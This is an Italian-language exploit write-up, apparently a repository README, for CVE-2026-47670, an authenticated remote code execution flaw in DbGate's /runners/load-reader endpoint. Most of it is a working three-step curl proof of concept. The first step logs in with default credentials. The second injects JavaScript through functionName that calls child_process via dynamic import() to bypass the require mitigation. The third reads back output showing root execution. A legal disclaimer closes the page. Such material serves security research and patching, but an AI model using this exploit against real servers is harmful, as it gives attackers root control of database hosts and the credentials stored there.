
Esecuzione di codice in remoto autenticata tramite iniezione di codice nel nome della funzione loadReader in DbGate
Esecuzione Remota di Codice autenticata tramite iniezione del parametro functionName in loadReader in DbGate
DbGate è uno strumento open-source e multipiattaforma per la gestione di database, progettato per sviluppatori e amministratori di database che necessitano di lavorare con più sistemi di database contemporaneamente. Fornisce un'interfaccia web e desktop unificata per la gestione di database sia SQL che NoSQL - inclusi MySQL, PostgreSQL, SQL Server, MongoDB, SQLite, Oracle e altri - senza dover cambiare applicazione client. DbGate funziona come applicazione desktop standalone su Windows, macOS e Linux, oppure può essere distribuito come applicazione web tramite Docker, rendendolo popolare per ambienti di team e scenari di amministrazione remota dei database.
CVE-2026-47670 è una vulnerabilità di Esecuzione Remota di Codice (RCE) autenticata che colpisce le versioni di DbGate precedenti a 7.1.9. Il difetto risiede nell'endpoint /runners/load-reader, dove il parametro functionName viene passato a un percorso di esecuzione di codice non sicuro senza una corretta sanificazione. Un attaccante con credenziali DbGate valide può iniettare codice JavaScript arbitrario attraverso questo parametro, che viene eseguito sul server con privilegi di root. La vulnerabilità è particolarmente pericolosa perché la mitigazione require = null dell'applicazione può essere facilmente bypassata utilizzando dichiarazioni import() dinamiche, consentendo agli attaccanti di avviare shell, esfiltrare credenziali del database, effettuare pivot verso server di database connessi o compromettere completamente il sistema host.
# Step 1 — authenticate and obtain Bearer token
curl -s -X POST http://example.com/auth/login \
-H 'Content-Type: application/json' \
-d '{"amoid":"logins","login":"admin","password":"admin"}' | grep accessToken
# RESPONSE
# ========
{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y"}
# Step 2 — inject via functionName (replace TOKEN and /tmp/_dbg_poc.jsonl)
curl -s -X POST http://example.com/runners/load-reader \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y' \
-d '{"functionName":"csvReader\nvar _f=await import(\"fs\");var _c=await import(\"child_process\");var _o=_c.execSync(\"id\").toString().trim();_f.writeFileSync(\"/tmp/_dbg_poc.jsonl\",JSON.stringify({__isStreamHeader:true,columns:[{columnName:\"out\"}]})+String.fromCharCode(10)+JSON.stringify({out:\"CANARY \"+_o})+String.fromCharCode(10));//","props":{}}'
# RESPONSE
# ========
{"apiErrorMessage":"The \"body\" argument must be of type function or an instance of Blob, ReadableStream, WritableStream, Stream, Iterable, AsyncIterable, or Promise or { readable, writable } pair. Received undefined"}
# Step 3 — read back command output
curl -s -X POST http://example.com/jsldata/get-rows \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y' \
-d '{"jslid":"file:///tmp/_dbg_poc.jsonl","offset":0,"limit":100}'
# RESPONSE
# ========
[{"out":"CANARY uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}]
python CVE-2026-47670-X7.py
Questo repository e il suo contenuto sono forniti esclusivamente per ricerca di sicurezza legittima, test di penetrazione autorizzati, studio educativo e scopi difensivi. Accedendo o utilizzando questo materiale, l'utente riconosce la piena responsabilità di garantire che le proprie attività siano conformi a tutte le leggi applicabili e di aver ottenuto la dovuta autorizzazione prima di testare o applicare queste tecniche su qualsiasi sistema di cui non si è proprietari.
Gli autori e i manutentori di questo progetto non si assumono alcuna responsabilità per eventuali danni, conseguenze legali o uso improprio derivanti dall'applicazione di queste informazioni. Qualsiasi utilizzo per accesso non autorizzato, attività dannosa o scopi illegali è espressamente vietato e non supportato.
Usa responsabilmente. Rimani legale. Testa solo ciò che possiedi o per cui hai esplicita autorizzazione scritta.
SCT-PL